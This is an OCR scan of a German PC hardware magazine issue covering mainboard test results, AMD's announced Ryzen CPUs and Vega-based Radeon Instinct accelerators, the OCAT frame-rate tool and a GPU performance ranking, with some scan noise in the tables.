Stabilitäts- & Praxis-Probleme Keine Keine All-Core-Turbo nicht deaktivierbar (für Keine 
Leistungsmessungen auf 4,0 GHz begrenzt). 
Leistung (60 %) 2,63 2,79 2,80 2,98 
Realer Referenztakt (CPU-Z) 100,00 MHz 100,00 MHz 100,02 MHz 100,85 MHz 
Witcher 2 EE 1080p, kein AA/AF 143,0 Fps 143,0 Fps 143,2 Fps 145,0 Fps 
Lightroom 5.6, Export 30 RAWs 148,7 Sekunden 148,6 Sekunden 149,9 Sekunden 147,8 Sekunden 
AIDA Memory Bench - Kopierrate 30.822 MB/s 31.182 MB/s 31.099 MB/s 31.588 MB/s 
Boot-Zeit Windows-8.1-Desktop 22,2 Sekunden 27,5 Sekunden 28,4 Sekunden 36,7 Sekunden 


Temp. Spannungswandler/PCH*** 


52/41/40 °C 


52/38/45 °C 


51/38/44 °C 


66/41/46 °C 


Stromver.**** Soft-off/Leerl./Last*** 


1,0/39,5/291 Watt 


FAZIT 


© Gute Kühlung 
© Kurze Bootzeit 
© Niedriger Verbrauch 


Wertung: 2,39 
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1,5/48,2/302 Watt 


© Aufwendige Sound-Lösung 
© Temperatursensor- & DFS-Anschlüsse 
© 10x USB extern 


Wertung: 2,41 


1,0/45,6/310 Watt 


© Creative-Onboard-Sound 
© Thunderbolt 3 
© 0.2 zusätzlich zu 2x M.2 


Wertung: 2,46 


2,6/45,3/317 Watt 


© SATA-Zusatzcontroller 
©) WLAN-Vorbereitung 
© Beide M.2 teilen Lanes mit SATA 


Wertung: 2,54 


www.pcgameshardware.de 


Testsystem: Core i7-6700K, Palit GTX980 Ti Superjetstream 110% powertarget, 91°C temptarget; 2x 8 GiB Crucial DDR4-2133 oder 2x 8 GiB GEIL DDR3-2133, EKL Alpenföhn Brocken Eco bei 900 U/min. 


Nur Spannungswandlerkühlerteile >2,5 cm. 


***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. 
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«: Auswirkungen auf CPU, RAM, VRMs & Gehäuse «= 


Wissen: Zen + Kaby Lake 


Die wichtigsten Fakten zur neuen Generation 


SONDERHEFT) Gratis 
Нагашаге 2 7 Aktuelles PCGH- 


Sonderheft 
Battlefield 1, Call of Duty & Star Citizen (Print- -Version 


PC 2017: а mit 84 Seiten 
und iste 
Wei Großbild- Zocken; Riesen-LCDs & Beamer 


Vor- und Nachteile, FOV-Probleme analysiert, Ultra-HD- Benchmarks . « 


GTX 1060 + RX 480 eme" 


Die besten Custom Designs im Test — 


SPECIAL | (Ry)Zen und Vega: Neues von AMD 


AMD im Angriffsmodus 


AMD befindet sich bei der Entwicklung der ersten Zen-Prozessorgeneration auf der Zielgeraden. 


Gleichzeitig steht Vega in der Grafiksparte als Polaris-Nachfolger an. 


A Dezember hat AMD die 
achpresse, darunter auch PC 
Games Hardware, ins kalifornische 
Sonoma zum zweiten AMD Tech 
Summit (2016) eingeladen. Gere- 
det wurde dort über drei Themen, 
die beim Chiphersteller 2017 im 
Mittelpunkt stehen werden: Zen 
(CPU), Vega (GPU) und deren spe- 
zielle Bedeutung im High-Perfor- 
mance-Computing-Umfeld. 


Nicht alle Tage entschließt sich ein 
Chiphersteller, seine aktuelle Pro- 
zessor-Architektur zu den Akten zu 
legen und eine komplett neue zu 
entwickeln. Genau das wurde je- 
doch vor etwa vier Jahren bei AMD 
entschieden. Zur Überbrückung 
hat AMD der Bulldozer-Architektur 
mit Excavator eine letzte Ausbau- 
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stufe spendiert, die 2015 als Carri- 
zo debütierte und 2016 als Bristol 
Ridge verfeinert wurde. 


Auch auf der Grafikseite suchte 
man radikale Neuerungen verge- 
bens. Polaris als vierte Generation 
des „Graphics Core Next“ sollte vor 
allem die Performance pro Watt 
verbessern und AMD 
stream-Bereich 


im Main- 
Marktanteile zu- 
rückbringen. Tiefe Einschnitte soll 
es bei AMD also erst wieder 2017 
mit Zen und dem Polaris-Nachfol- 
ger Vega alias GCN Gen 5 geben. 


Um die Hardware-Welt bei der 
Stange zu halten, setzt AMD auf 
die Salamitaktik. Im vergangenen 
August wurde die Zen-Architektur 


erstmals oberflächlich präsentiert 
und eine Achtkern-CPU in die Ka- 
meras gehalten - Technikinteres- 
sierte haben genug Gesprächsstoff 
für einige Wochen bekommen. 
Im Dezember wurden schließlich 
erste Details zu konkreten Endpro- 
dukten genannt, mit denen auch 
weniger versierte Interessenten an- 
gesprochen werden sollten. 


Bei Vega verhält es sich genau an- 
dersherum. Die erste Vega-GPU - 
mutmaßlich „Vega 10“ - wurde be- 
reits als Radeon Instinct MI25 fürs 
HPC-Segment angekündigt, ohne 
dass AMD Details zur Architek- 
tur genannt hat. Ob bewusst oder 
nicht: Die ersten Server-Partner 
durften die groben Spezifikationen 
ihrer Systeme mit MI25-Beschleuni- 


gerkarten präsentieren, womit sich 


die Leistungsdaten einer einzelnen 
Vega-GPU ableiten lassen, wie sie 
auch im Desktop-Bereich erschei- 
nen könnte. Das wiederum fördert 
Spekulationen, sodass AMD wäh- 
rend der Wartezeit nicht in Verges- 
senheit geriet. 


An dieser Stelle dürfen wir noch 
nicht über alles berichten, was wir 
in Sonoma erfahren haben. Gemäß 
der Salamitaktik werden in den 
kommenden Wochen und Monaten 
weitere Details folgen. Wir erwar- 
ten, dass AMD zur Consumer Elec- 
tronics Show, welche vom 5. bis 
8. Januar 2017 stattfindet, sowohl 
zu Zen als auch zu Vega neue Infor- 
mationen nennen wird. Was genau, 
werden Sie in der kommenden 


PCGH-Ausgabe nachlesen können. 
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(Ry)Zen und Vega: Neues von AMD | SPECIAL 


Zen kommt als Ryzen 


Z= ist AMDs grundlegender 
Codename für seine neue CPU- 
Architektur. Erste Endprodukte 
werden unter dem Codenamen 
Summit Ridge als reine Prozesso- 
ren ohne integrierte GPU für den 
Sockel AM4 erscheinen. Später fol- 
gende Kombiprozessoren mit GPU 
werden als Raven Ridge entwickelt. 
Unter welchem Markennamen Zen- 
basierte veröffentlicht werden sol- 
len, war bis zum Dezember unklar. 
Nun weiß man: Auf Duron, Turon, 
Athlon, Sempron und Opteron 
folgt Ryzen - „mindestens für die 


nächsten fünf Jahre“, so AMD. 


Ryzen soll es mit Intels 
Broadwell-E aufnehmen 

AMD-CEO Lisa Su zeigte sich in 
Bezug auf Zen zuversichtlich. Man 
habe alle internen Ziele mindes- 
tens erreichen, die Leistungsvor- 
gaben sogar übertreffen können. 
Die Leistung 
pro Takt soll demnach um mehr 
als 40 Prozent gegenüber Excava- 


durchschnittliche 


tor zulegen. Untermauert hat AMD 
die Aussagen mit der FPU-lastigen 
3D-Grafik-Suite Blender und dem 
Integerlastigen Video-Konvertie- 
rer Handbrake, in denen ein Ry- 
zen-Achtkerner mit Intels Core i7- 


6900K mithalten kann. 


Den Anfang werden im ersten 
Quartal 2017 Ryzen-CPUs mit acht 
Kernen machen. Liefen die bishe- 
rigen Engineering Samples noch 
mit Basistaktraten von 2,9 bis 3,1 
GHz, hat AMD inzwischen an der 
Frequenzschraube gedreht. Finale 
Prozessoren sollen innerhalb einer 
TDP von 95 Watt mit „mindestens“ 
3,4 GHz Basistakt rechnen. Su deu- 
tete an, dass am Ende noch das eine 
oder andere MHz dazukommen 
könnte. Noch keine Angaben gibt 
es zu den Vier- oder Sechskernern. 
Vor allem Erstere müssen mit Intels 
Kaby Lake-S konkurrieren, der in 
Form des Core i7-7700K mit 4,2 
bis 4,5 GHz bei voraussichtlich hö- 
herer Pro-Takt-Leistung aufwarten 
kann. Diesbezüglich wird es inter- 
essant, ob bei der ersten Ryzen-Ge- 
neration die TDP, die Architektur 
oder der Fertigungsprozess (vor- 
aussichtlich Globalfoundries‘ 14 
nm FinFET Low Power Plus; 14LPP) 
die Taktraten limitiert. 


www.pcgameshardware.de 


Boost als neuer Turbo 

Aus dem bisherigen Turbo, wie 
ihn auch Intel nennt, wird künftig 
der Boost. Dieser ist Teil der Sense 
MI Technology, die aus insgesamt 
sechs Einzelkomponenten besteht. 
Summa summarum handelt es sich 
um das Powermanagement mit ad- 
aptiven Boost-Taktraten. 


Wie schon bei Bristol Ridge befin- 
den sich auf einer Ryzen-CPU „Hun- 
derte“ von Sensoren, welche die 
Spannungen, Temperaturen und 
das Lastverhalten ermitteln. Die 
Daten werden für unterschiedli- 
che Boost-Verhalten herangezogen. 
Nutzer können selbst entscheiden, 
ob maximale Leistung oder eine 
höhere Effizienz erreicht werden 
soll. Die Extended Frequency Ran- 
ge, kurz XFR, stellt einen automa- 
tischen Übertaktungsmodus dar. 
Bisher gab es ähnliche Angebote 
von  Mainboard-Herstellern, die 
Auto-OC-Modi per BIOS bezie- 
hungsweise UEFI anbieten - da 
die Hersteller sicherstellen müs- 
sen, dass alle CPUs stabil laufen, 
geht das meistens jedoch mit sehr 
hohen Spannungen einher. AMD 
scheint die Spannungen insbeson- 
dere anhand der Temperatursen- 
soren festzulegen, da XFR mit den 
eingesetzten Kühllósungen skalie- 
ren soll. Fortschritt gebe es indes 
bei der Sprungvorhersage und dem 
Cashing-System, die mit der Nut- 
zungszeit wie ein neurales Netz- 
werk dazulernen sollen. 


Sense MI scheint derweil die oder 
eine der letzten Baustellen zu sein, 
die eine Veróffentlichung von Sum- 
mit Ridge hinauszógern. Das Silizi- 
um ist bereits fertig, wie AMD an- 
hand mehrerer Demos gezeigt hat. 
In sámtlichen Vorführungen liefen 
die Ryzen-CPUs noch ohne jegli- 
ches Powermanagement und mit 
deaktiviertem Boost. Traditionell 
sind das die Komponenten, die am 
Ende einer CPU-Entwicklungspha- 
se stehen. 


AMD zeigt sich zuversichtlich, dass 
die letzten Maßnahmen für Summit 
Ridge in den kommenden Wochen 
erledigt werden können. Allerspä- 
testens im März sollten die CPUs in 
den Ladenregalen stehen. 


Defying Convention: 


Performance, Throughput and Efficiency 


“Steamroller” 


“Piledriver" 
"Bulldozer" gung 


"ZEN" 


"Excavator" 


Efficiency 
Gain 


l 


© Energy 
Per Cycle 


AMDs Ziel ist eine 40-prozentige Leistungssteigerung pro Takt. Laut CEO Lisa Su kann 


man das sogar übertreffen. 


Using Energy Wisely 
Monitors temperature, speed and voltage 


Adaptive control manages real time for 
lower power usage 


Closed loop control with Infinity Fabric 


nine imen 
а — 


PERFORMANCE 


Pure Power ist Bestandteil der Sense Mi Technology und soll einen möglichst effizien- 
ten Betrieb ermöglichen. „Precision Boost” stellt die Performance-Variante dar. 


Fine-grained Frequency Control 


a Works in tandem with Pure Power control loop 
to optimize performance 


4 On-the-fly clock adjustment without halts or 
queue drains 


4 High precision tuning with 25MHz increments 


boost 
Leben 

mance for 

the same power 


PERFORMANCE 


Randnotiz: Der Infinity Fabric ist AMDs neuer 


Chips der näheren Zukunft eingesetzt wird. 


Rewarding Enthusiast Cooling 


Permits frequencies above and beyond 
ordinary Precision Boost limits 


Clockspeed scales with cooling solution 
air, water, and LN, 


Fully automated; no user intervention 
required 


Allround-Interconnect, der in allen 


EE" Bi RN 


B d Precision Boost Max — 


Summit-Ridge-CPUs haben einen eingebauten Auto-OC-Modus, der als Anhaltspunkte 
für die Spannungsgebung zahlreiche Temperatursensoren nutzt. 
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SPECIAL | (Ry)Zen und Vega: Neues von AMD 


Raja Koduri, Leiter von AMDs Radeon Technologies Group, zeigt die Radeon Instinct 


MI25 mit Vega-GPU. Die Strombuchsen wurden abgeklebt. 


F wi 
MI8 
Small Form Factor Accelerator 


Passively Cooled Inference Accelerator 


8.2 TROPS 


5.70 TFLOPS 


224 


ELI 


Rechts die Radeon Instinct MI25 mit NCUs und High-Bandwidth-Cache sowie -Con- 


GD/s Memory га 512 G8/s Memory Bandwidth 


<175W 


MI25 Vega with NCU 
Passively cooled Training Accelerator 


2X Packed Math 


High Bandwidth Cache 
and Controller 


<300W 


troller. „2 x Packed Math" steht für die FP16-Unterstützung mit doppelter Rate. 


Vier Radeon Instinct MI25 schaffen 100 FP16-TFLOPS, für eine einzelne ergibt das 


K888 G3 with 
Radeon Instinct 
100 Teraflops GPU 


Inventec K888 


Memory 24x DDR4 up to 2400 MHz 


12x 3.5" or 24x 2.5" HS 12Gb SAS/SATA 
š ! 1x SATADOM 
Optional 8x NVMe support 


Storage 


4x PCle Сепз x16 

2x PCle Gen3 x8 mezz 

1x OCP mezz 

ra Ах Radeon Instinct МЇ25 
1600WPlatinum 1+1 redundancy 

. Up to -100 Tflops* 

Up to 120 TB storage (NVMe support) 
Up to 768 GB memory 


PCle@ 


Networking 
GPU 
Power Supply 


Performance 


*Float16 Performance 


12,5 FP32-TFLOPS — diese Genauigkeit ist für PC-Spiele eine wichtige Kennziffer. 
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icht mehr als Firepro S, son- 

dern als Radeon Instinct wird 
AMD künftig seine für Server ge- 
dachten Beschleunigerkarten ver- 
öffentlichen. Die MI-Modelle sind 
für das Geschäftsfeld Machine In- 
telligence, also für das Trainieren 
und Einsetzen von neuralen Netz- 
werken, gedacht. Das Kürzel dahin- 
ter stellt die maximale theoretische 
Rechenleistung (gerundet) dar. 
Während die MI6 (Polaris 10 XT) 
einer RX 480 mit 16 GiByte GDDR5 
und die МІВ (Fiji XT) einer RO Nano 
mit 4 GiByte HBM1 áhnelt, kommt 
die MI25 als erste Grafikkarte mit 
Vega-GPU daher. 


Informationen zu Vega gibt es nur 
in Bezug auf die Radeon Instinct 
MI25. Die preist AMD mit ,NCUs* 
an - bisher verwendete der Chip- 
hersteller das Kürzel CU ausschliefs- 
lich als Compute Unit. Das ,N* 
dürfte für „New“ oder „Next-Gen“ 
stehen und eine Überarbeitung 
der Shader-Cluster signalisieren. 
Grundlegende Änderungen inner- 
halb der Compute Units gab es seit 
der Vorstellung von GCN im Jahre 
2011 nicht mehr. Bisher wurde bei 
AMD vor allem die Auslastung der 
Recheneinheiten kritisiert. 


Darüber hinaus spricht AMD von 
einem High-Bandwidth-Cache und 
-Controller. Offensichtlich können 
Vega-GPUs, die auf einem Interpo- 
ser mit High-Bandwidth Memory 
(HBM gen2) sitzen, diesen (teilwei- 
se) auch als Cache statt als Grafik- 
speicher nutzen. Durch die unter- 
schiedliche Adressierung könnten 
Software-Entwickler Vorteile erzie- 
len. 


Die ,<300“ Watt Leistungsauf- 
nahme lassen sich indes weit in- 
terpretieren. Wir vermuten, dass 
das Powermanagement auch hier 
noch nicht integriert ist und AMD 
schlichtweg noch nicht weiß, wie 
genau die tatsächliche Leistungs- 
aufnahme der Radeon Instinct 
MI25 aussehen wird. Auf der an- 
deren Seite veranschlagt Nvidia 
für seine Tesla P100 im gleichen 
Einsatzgebiet ebenfalls ein Power- 
Budget von 300 Watt. 


Anhand der ersten vorgestellten 
Server-Racks kann man Rückschlüs- 
se auf die Rechenleistung der ein- 
gesetzten Vega-GPU ziehen. 25 
FP16-TFLOPS (halbe Genauigkeit) 
schafft eine MI25. Seit der Playsta- 
tion 4 Pro wissen wir, dass AMD- 
GPUs bauen kann, die FP16 mit 
doppelter Rate beherrschen. Die 
für Spiele wichtige FP32-Leistung 
läge folglich bei 12,5 TFLOPS. Da 
zwei HBM2-Stacks mit jeweils 8 Gi- 
Byte eingesetzt werden sollen, liegt 
die Vermutung nahe, dass es sich 
bei Vega (10) um die im Vorfeld ge- 
handelte Greenland-GPU handelt, 
genauso wie Polaris 10 Ellesmere 
und Polaris 11 Baffin entspricht. 


Greenland soll 4.096 Shader be- 
sitzen, die mit etwa 1.525 MHz ar- 
beiten müssten, um die genannte 
Rechenleistung zu erbringen. Das 
wäre eine ordentliche Steigerung 
gegenüber bisherigen GCN-GPUs, 
erscheint mit einer grundlegend 
überarbeiteten Architektur (Stich- 
wort NCUs) aber nicht undenkbar. 
Mit den 1.000 MHz einer Fiji-GPU 
bräuchte es für die gleiche Leistung 
etwa 6.000 Shader-ALUs, bei 1.220 
MHz noch 5.120. Zum besseren Ver- 
gleich: Eine R9 Fury X kommt auf 
8,6 FP32-TFLOPS (-31,2 %), kann 
ihre Rohleistung aber selten auf die 
Straße bringen. Die RX 480 liegt 
bei 5,8 FP32-TFLOPS. Die Titan X 
Pascal stemmt hingegen knapp 
11, die Tesla P100 rund 10,6 FP32- 
TFLOPS. Am Ende kommt es da- 
rauf an, ob AMD bei Vega an der 
GPU-Auslastung gearbeitet hat und 
wie die finalen Spezifikationen im 
Desktop aussehen werden. Übli- 
cherweise sind die Taktraten dort 


hóher. (mm) 


AMD zeigt sich selbstbewusst 
Auch wenn viele Details noch zu- 
rückgehalten werden, ist ein selbst- 
bewusstes AMD doch ein erfreulicher 
Anblick. Blickt man auf AMDs Ver- 
gangenheit zurück, sollte man jegliche 
Euphorie aber noch mit einer gesunden 
Portion Skepsis betrachten und in den 
verbleibenden Monaten bis zur Veróf- 
fentlichung die Füße still halten. 
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SKILLER GAMING SERIES 
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GAMING AUS EINEM GUSS 


SKILLER ist unsere Gaming-Serie für alle, die nicht weniger von ihrem Equipment erwarten, 
als von ihren Skills. Die SKILLER SGP1 Mouse Mat legt dank überragender Gleiteigenschaf- 
ten und Strapazierfähigkeit die Grundlage für hitzige Matches. Die nötige Präzision liefert 
die SKILLER SGM1 Gaming-Maus mit 10.800 DPI, fünf Makro-Tasten und umfangreicher 
Software. Mit dem mehrfach ausgezeichneten SKILLER MECH SGK1 Keyboard inklusive 
Kailh-Schaltern, N-Key-Rollover und Anti-Ghosting behält man jederzeit die Kontrolle. Den 
passenden Sound liefert das SKILLER SGH1 Headset mit optimalem Klang und Tragekomfort 
sowie austauschbaren Ohrpolstern. Und das alles einheitlich im stylischen, schwarzblauen 
SKILLER-Design. SKILLER von Sharkoon — Gaming aus einem Guss. 
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Grafikkarten 


Grafikkarten, Kühler 


Raffael Vótter 
Fachbereich Grafikkarten 
E-Mail: rv@pcgh.de 


Kommentar 


2017: Das Jahr, in dem sich für AMD vieles 
— wenn nicht alles — entscheidet. 


Mitte Dezember wurde AMD, der letzte ernst- 
hafte Gegenspieler von Intel und Nvidia, end- 
lich konkreter, was kommende Prozessor- und 
Grafikkartenprodukte angeht. Beide Launches, 
die im ersten Halbjahr 2017 vollzogen werden, 
sind ungeheuer wichtig für das Unternehmen 
und den Markt — Zen und Vega entscheiden, 
ob AMD wieder Geld verdient oder doch nur im 
Fahrwasser der großen Rivalen schippert. 


Sprechen wir über die High-End-GPU Vega. 
AMD präsentierte einen frühen Prototypen, wel- 
cher in Doom (Vulkan-API) die Leistung einer 
auf rund 2,1 GHz übertakteten GTX 1080 er- 
reicht. Viel mehr ist über diese mutmaßliche Ra- 
deon-RX-Grafikkarte nicht bekannt, doch einige 
Informationen lassen sich mithilfe des parallel 
vorgestellten Profi-Beschleunigers Radeon In- 
stinct MI25 herleiten. Dieser bietet 12,5 TFLOPS 
Rechenleistung bei der für Spiele wichtigen ein- 
fachen Genauigkeit (SP alias FP32) und trágt 16 
GiByte HBM der zweiten Generation. Gesetzt 
den Fall, Vega rechnet mit 4.096 ALUs, spricht 
das für einen Kerntakt von rund 1,53 GHz - 
etwas mehr als bei Polaris (1,34 GHz bei Part- 
nerkarten) und wesentlich mehr als beim eben- 
falls 4.096-kernigen Fiji (1,05 GHz). Das klingt 
vielversprechend. Davon abgesehen gibt es ein 
anderes Problem: HBM-Stacks mit 8 GiByte Ka- 
pazitát sind derzeit Mangelware, für insgesamt 
16 GiByte (an 2.048 Bit) aber unerlässlich. Bis 
zum Release von Vega, welcher laut meiner Ein- 
schátzung noch bis Mai dauern wird, laufen die 
Produktionsstátten bei SK-Hynix und Samsung 
hoffentlich auf Hochtouren. Nvidia bereitet der- 
weil die GTX 1080 Ti vor, welche gerüchteweise 
noch im Winter — also vor Vega — erscheinen 
wird. Eine abschließende Bitte, AMD: Verzichtet 
auf den Unsinn eines unantastbaren Referenz- 
designs, eure Boardpartner werden Vega gewiss 
schaukeln. Ich spare solange weiter. Und Sie? 
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ardware.de/grafikkarte 


Recording Hotkey 
OemBackslash 


Recording Time Period in Seconds 
20 


Capture All Applications 


Target executable 
\DOOM\DOOMx64vk.exe 


Commandline arguments 


OCAT, der Fraps-Nachfolger 


Im Rahmen seiner GPU-Open-Initiative präsentier- 
te AMD im Dezember das Open Capture and Ana- 
lytics Tool. PCGH hat das neue Fraps ausprobiert. 


eim Open Capture and Analytics Tool, kurz 

OCAT, handelt es sich trotz der Namens- 
verwandschaft mit Nvidias FCAT nicht um ein 
weiteres Frametime-Spezialprogramm, sondern 
um „Fraps für Low-Level-APlIs“: OCAT stellt eine 
grafische, auf dem Dotnet-Framework basieren- 
de Oberfläche sowie ein Overlay für DX12- so- 
wie Vulkan-Anwendungen bereit und erlaubt 
es, die Bildrate nebst korrespondierender 
Frametimes über einen bestimmten Zeitraum 
zu protokollieren. Das Overlay, welches sowohl 
die Fps als auch deren Berechnungszeit am 
rechten oberen Bildrand anzeigt (siehe oben), 
funktioniert auch mit den älteren Schnittstel- 
len Open GL sowie Direct X 9 und 11. Wie beim 
seit Jahren nicht überarbeiteten Vorbild Fraps 
lässt sich der Benchmark-Hotkey nach Gusto 
wählen, außerdem lassen sich die Ergebnisse 
als CSV-Dateien speichern, um sie beispiels- 
weise mithilfe von Excel zu importieren und 


zu bearbeiten. Selbst UWP-Apps - die Spiele 
aus dem Windows Store - lassen sich messen, 
in diesem Fall allerdings ohne Overlay-Support. 
Die Log-Dateien landen nach der Messung unter 
\Benutzername\Dokumente\OCAT. 


Im funktional gestalteten Hauptfenster von 
OCAT dürfen Sie entscheiden, wie detailliert die 
Messwerte ausfallen sollen. Wollen Sie eine be- 
stimmte Anwendung testen, im obigen Beispiel 
Doom unter der Vulkan-API, muss deren Ausfüh- 
rungsdatei gesucht und sie anschließend über 
das Tool gestartet werden. 


OCAT wurde im Rahmen von AMDs GPU-Open- 
Initative vorangetrieben, ist jedoch Open-Source 
und wurde vom Programmierer Daniel Suttor 
erschaffen. Die Basis der Software bilden, neben 
Intels Presentmon, einige bei Github erhältliche 
Programme. Dort können Interessierte auch 
den Quellcode beziehen und, das Können und 
die Programmiertools vorausgesetzt, verändern 
sowie weiterentwickeln. Den Download finden 
Sie unter www.pcgh.de/OCAT. (ru) 
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GPU-Leistungsindex: Top 20 


BESSER > | Normierte Leistung 


ШИ Gesamt BEHD MWOHD WUHD | Preis-Leistungs-Index (PLV): Mehr ist besser 


Titan X 


Takt: 1.531 MHz, 10 GT/s 

RAM: 12 GiB GDDR5X 

Preis: Ca. 1.300 € (+0) 
PLV: 33,1 % 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 600 € (+0) 
PLV: 60,5 % 


Geforce 

GTX 1070 

Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 400 € (+0) 
PLV: 74,1% 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 430 € (+0) 
PLV: 63,8 % 


Radeon 
R9 Fury X 


Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Ca. 420 € (+0) 
PLV: 62,4 % 


Geforce 

GTX 1060/6G 

Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 260 € (+0) 
PLV: 82,6 % 


Radeon 
RX 480/8G 


Takt: 1.266 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 250 € (+0) 
PLV: 84,6 % 


Radeon 
R9 390 


Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 300 € (+0) 
PLV: 69,8 % 


Radeon 


[NEU] 
RX 480/4G 


Takt: 1.266 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 200 € (+0) 
PLV: 99,9 % 


Radeon 

R9 290 

Takt: 947 MHz, 5 GT/s 
RAM: 4 GiB GDDR5 


Preis: Nicht lieferbar 
РМ: – 


100 % 


КН r°. 
558 ° 
КЕНЕНИ 10 % 


AOS: 47/41/33 
ACS: 89/64/36 
ВІ: 209/146/83 
C3: 120/78/39 


CW: 95/87/51 
DMD: 113/79/42 
DM: 198/158/81 
TES: 236/212/130 


F1: 105/90/62 


FCP: 105/80/49 
GTA: 69/54/31 


LEE 


МЕС: 114/81/44 
РО4: 152/108/55 — OW: 221/152/80 


ROT: 104/75/42 


TTP: 133/102/61 


TWW: 68/53/32 
ECR: 120/75/36 
W3: 130/92/50 
COP: 50,6 


Geforce 

GTX 1060/3G 

Takt: 1.709 MHz, 8 GT/s 

RAM: 3 GiB GDDR5 

Preis: Ca. 200 € (+0) 
PLV: 93,7 % 


N ВЕК 
НЫ 52.0 7 
N 


AOS: 44/36/30 
ACS: 77/54/29 
BI: 170/121/63 
C3: 95/60/30 


CW: 94/78/38 
DMD: 94/64/34 
DM: 193/133/66 
TES: 227/173/101 


F1: 98/82/53 
F04: 131/86/44 
FCP: 87/66/39 
GTA: 63/47/25 


LEE 


MEC: 97/68/36 


OW: 176/120/63 


TWW: 67/48/26 
ECR: 94/59/27 


Radeon 

RX 470/8G 

Takt: 1.205 MHz, 6,6 GT/s 
RAM: 8 GiB GDDR5 
Preis: Ca. 240 € (+0) 


N 72.4 % 
=6G—a e % 
Gw ww—wwwc<ssraa КОДЫ 


AOS: 39/29/27 
ACS: 64/44/24 
В|: 143/98/50 
C3: 77/48/24 


CW: 93/62/30 
DMD: 75/50/26 F04: 106/70/36 
DM:159/103/51 FCP: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


F1: 81/66/42 


ROT: 84/59/31 ҸМ: 109/76/40 dS 
TTP: 105/79/47 СОР: 44,9 PLV: 76,8 9% 
Geforce 
GTX 970 


МЕС: 77/53/28 
OW: 141/95/50 
ROT: 66/45/24 


TWW: 58/39/21 
ECR: 76/47/22 
W3: 87/59/31 


Takt: 1.178 MHz, 7 СТ/ 
RAM: 3,5+0,5 GiB GDDR5* 
Preis: Ca. 210 € (+0) 


ERA 
==www—FAsraasss 
Г _ 8 15% 
!, ArrrFrTa-.s % 


A05: 31/24/22 
ACS: 54/39/21 
Bl: 143/99/51 
C3: 7447/23 


CW: 91/58/28 
DMD: 70/48/25 
DM: 146/95/47 
TES: 177/130/77 


F1: 75/62/40 
F04: 100/67/35 
FCP: 60/47/29 
GTA: 45/34/19 


Д 0j 
TTP: 83/63/37 COP: 41,1 Ру: 865 
Radeon 
RX 470/4G 
Takt: 1.205 MHz, 6,6 GT/s 
МЕС: 69/48/20 TWW: 55/38/20 RAM: 4 GiB GDDR5 


0W: 134/90/47 
ROT: 62/44/24 


ECR: 72/45/21 
W3: 79/54/29 


Preis: Ca. 180 € (+0) 


———nn a ° ° 


ЕЎ 


НИ OO. 


mww—vnrrrrrai-. % 


AOS: 34/28/26 
АС: 49/30/13 
ВІ: 150/101/53 


CW: 85/59/30 
DMD: 72/49/23 
DM: 170/110/56 


F1: 72/60/41 
РО4: 82/57/29 
РСР: 58/47/31 


Д 0j 
TTP: 79/60/35 COP: 37,5 PIVE 100.7 
Gefore [TE 
GTX 780 
Takt: 901 MHz, 6 GT/s 
MEC: 33/24/11 TWW: 46/31/7 RAM: 3 GiB GDDR5 


OW: 126/88/47 
ROT: 49/37/22 


ECR: 57/38/19 
W3: 75/54/31 


Preis: Nicht lieferbar 
РМ: – 


C3: 71/47/24 TES: 132/104/66 СТА: 42/31/14 ТТР: 81/62/38 СОР: 59,8 

l 5 

sa 5: › °, Radeon 
=—“ÇOƏÇZIIIII AIArII R9 280X 
K—— 44,4% Takt: 1.000 MHz, 6 GT/s 
А05: 30/21/20 CW: 74/45/21 F1: 61/49/31 MEC: 56/38/16 TWW: 43/28/15 RAM: 3 GiB GDDR5 


ACS: 47/31/16 DMD: 54/36/18 РО4: 76/50/25 


OW: 100/67/35 


ECR: 53/33/15 


Preis: Nicht lieferbar 


ВІ: 113/72/36 DM: 115/73/36 FCP: 49/37/22 ROT: 46/31/17 W3: 61/41/22 РІМ: — 

C3: 56/35/17 TES: 144/102/58 СТА: 40/28/14 ТТР: 58/44/26 СОР: 32,3 x 
ЕЕ 

Г 7 EI Radeon 

Г чї R9 380/46 
мм 42,6 96 Takt: 970 MHz, 5,7 GT/s 
AOS: 27/22/21 CW: 65/41/20 F1: 63/52/33 MEC: 53/36/19 TWW: 35/24/13 RAM: 4 GiB GDDR5 


ACS: 43/29/15 
Bl: 111/70/34 


DMD: 61/40/20 
DM: 145/91/44 


F04: 65/42/20 
FCP: 46/36/22 


OW: 98/66/34 
ROT: 43/31/18 


ECR: 44/28/13 
W3: 60/41/22 


Preis: Ca. 170 € (+0) 


A 0j 
C3: 51/32/15 TES: 118/87/51 СТА: 34/24/13 ТТР: 56/43/25 СОР: 46,3 PLV: 80,8% 
RN 5 
[r 7 сене 
Г 22 а ан 
mnn Takt: 1.124 MHz, 7 GT/s 
AOS: 27/22/21 CW: 74/48/23 F1: 55/46/30 MEC: 47/32/18 TWW: 29/21/12 RAM: 4 GiB GDDR5 
ACS: 35/25/14 DMD: 58/40/21 F04: 63/44/23 0W: 89/61/32 ECR: 43/29/14 Preis: Nicht lieferbar 


BI: 114/73/37 DM: 126/82/42 FCP: 46/37/23 


ROT: 40/30/17 


W3: 48/33/18 


РМ: – 


С3: 54/36/18 TES: 111/85/53 СТА: 34/26/14 ТТР: 62/48/29 СОР: 54,8 

r 5 4% 

r AE Radeon 
——— Еи R9 380/26 
Kawsa Takt: 970 MHz, 5,5 GT/s 
AOS: 27/21/20 CW: 62/40/19 F1: 62/51/32 MEC: 30/22/14 TWW: 34/23/7 RAM: 2 GiB GDDR5 


АС: 39/24/12 
ВІ: 108/68/33 


DMD: 57/38/18 
DM: 143/90/43 


FO4: 63/41/19 
FCP: 45/35/21 


OW: 96/66/34 
ROT: 42/30/17 


ECR: 43/27/13 
W3: 59/40/21 


